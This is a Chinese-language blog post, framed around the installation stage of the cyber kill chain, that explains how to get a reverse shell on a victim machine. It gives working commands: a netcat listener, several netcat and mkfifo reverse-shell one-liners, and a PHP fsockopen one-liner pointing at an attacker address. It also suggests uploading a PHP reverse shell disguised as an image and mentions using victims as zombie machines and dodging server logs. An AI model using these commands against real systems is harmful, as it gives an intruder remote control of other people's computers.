cyber kill chain手法

[5.安裝]Reverse Shell反向Shell

當我們有辦法透過可能網頁漏洞,還是系統漏洞可以讓受害者的電腦執行指令時,我們就可以開始下指令遠端操控對方,這時候會遇到幾個問題

  1. 如果透過類似網站漏洞讓你可以傳參數進去對方,問題是你傳的參數很容易都被apache log下來,當然我們可以想辦法去刪除log 隱藏蹤跡,但是如果對方是把log寫去log server可能就刪不到了
  2. 可能入侵的方法比較麻煩,每下一次指令就得要重新攻擊一次 很浪費時間
  3. 改天需要在攻擊或是想把這台電腦當殭屍時又要在攻擊一次…

這時候就可以利用反向Shell的方式讓受害者的電腦連回來我們這邊並且讓我們直接執行腳本,透過反向shell的好處是不太會被防火牆阻擋,因為連線方向是從對方內部往外連線。

首先需要在我們自己的電腦上(如用kali 或是parrot)開啟terminal 然後下指令開啟8888 port(可隨意換一個沒在用的)

nc -nvlp 8888

這時候你就可以讓受害者的電腦去執行反向Shell

nc 192.168.2.6 8080 -e /bin/sh 

不過上面這個方法有些版本nc沒有GAPING_SECURITY_HOLE 所以會出錯說沒有-e的function 這時候你就可以改成

rm -f /tmp/a;nc 192.168.2.6 8080 0</tmp/a | /bin/sh >/tmp/a 2>&1; rm /tmp/a 

或是在多利用mkfifo這個 變成

rm -f /tmp/a; mkfifo /tmp/a; nc 192.168.2.6 8080 0</tmp/a | /bin/sh >/tmp/a 2>&1; rm /tmp/a 

而上面那些 > 2 1 &的我其實不是很了解在幹嘛的,應該說 就算了解了 隔天就忘了… 下面我付上一個對岸博主的說明

***注意,这里”&”在Linux shell中表示后台运行,当然这里0>&1不是这样,对于&1更准确的说应该是文件描述符1,而1一般代表的就是STDOUT_FILENO***
*** 2>&1形式用于重定向,2>表示错误重定向,&1表示标准输出;以ls >/dev/null 2>&1为例,2>&1是将标准出错重定向到标准输出,不过在这里又被重定向到了/dev/null这个无底洞里***
***这里有一个问题:为什么2>&1要写在后面,以command >file 2>&1为例,首先是command > file将标准输出重定向到file中, 2>&1 是标准错误拷贝了标准输出的行为,也就是同样被重定向到file中,最终结果就是标准输出和错误都被重定向到file中***
***其实还有一个问题,既然2>表示错误重定向,那么0>表示什么呢?查阅资料发现在Linux下输入输出重定向有三个值,其中2已经说过是标准错误信息输出,那0则是标准输入,1则为标准输出了。说到这里,其实又引出了一个新的问题,我们知道<才是表示输入的,那为何这里却是如此形式,按说就应该是2了,或者说这里0就已经是输入了,然后直接使用>进行输出,不是很清楚请大牛指点啊***

gnucitizen[http://www.gnucitizen.org/blog/reverse-shell-with-bash/]上还有一种不同的方法,评论中也有一些想法:

或是利用php的方式也可以,很多網站都有提供讓人家上傳檔案的功能,或是圖片,你可以試著把php檔當作圖片傳上去… github上有一個php-reverse-shell.php 寫的好好用der…

下面這個單行指令只能在php7以下才會成功。php8可能就跑不起來了。

php -r '$sock=fsockopen("attackerip",5555);exec("/bin/sh -i <&3 >&3 2>&3");'

如此一來就攻擊成功了,如下圖

相關的反向shell 也有被寫成好幾種語言可以參考,我就放在參考文章上了

參考文章:

Be the First to comment.

Leave a Comment

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *

(若看不到驗證碼,請重新整理網頁。)